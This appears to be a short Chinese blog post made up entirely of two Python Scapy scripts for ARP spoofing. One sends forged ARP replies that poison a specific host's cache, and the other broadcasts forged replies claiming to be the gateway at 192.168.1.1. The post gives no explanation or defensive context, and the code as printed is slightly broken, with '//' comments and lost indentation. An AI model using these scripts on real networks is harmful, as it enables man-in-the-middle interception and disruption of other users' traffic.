// 指定欺骗
import sys
from scapy.all import *
i=1
a = Ether()/ARP()
while i<=100:
a.src="00:11:22:33:44:55"
a.dst="00:0c:29:6b:87:1f"
a.type=0x806
a.payload.op=2
a.payload.hwsrc="00:11:22:33:44:55"
a.payload.hwdst="00:0c:29:6b:87:1f"
a.payload.pdst="192.168.1.104"
a.payload.psrc="192.168.1.102"
sendp(a)
i=i+1
//网关欺骗
import sys
from scapy.all import *
i=1
a = Ether()/ARP()
while i<=100:
a.src="cc:cc:cc:cc:cc:cc"
a.dst="ff:ff:ff:ff:ff:ff"
a.type=0x806
a.payload.op=2
a.payload.hwsrc="cc:cc:cc:cc:cc:cc"
a.payload.hwdst="ff:ff:ff:ff:ff:ff"
a.payload.pdst="255.255.255.255"
a.payload.psrc="192.168.1.1"
sendp(a)
i=i+1
阅读(2320) | 评论(0) | 转发(0) |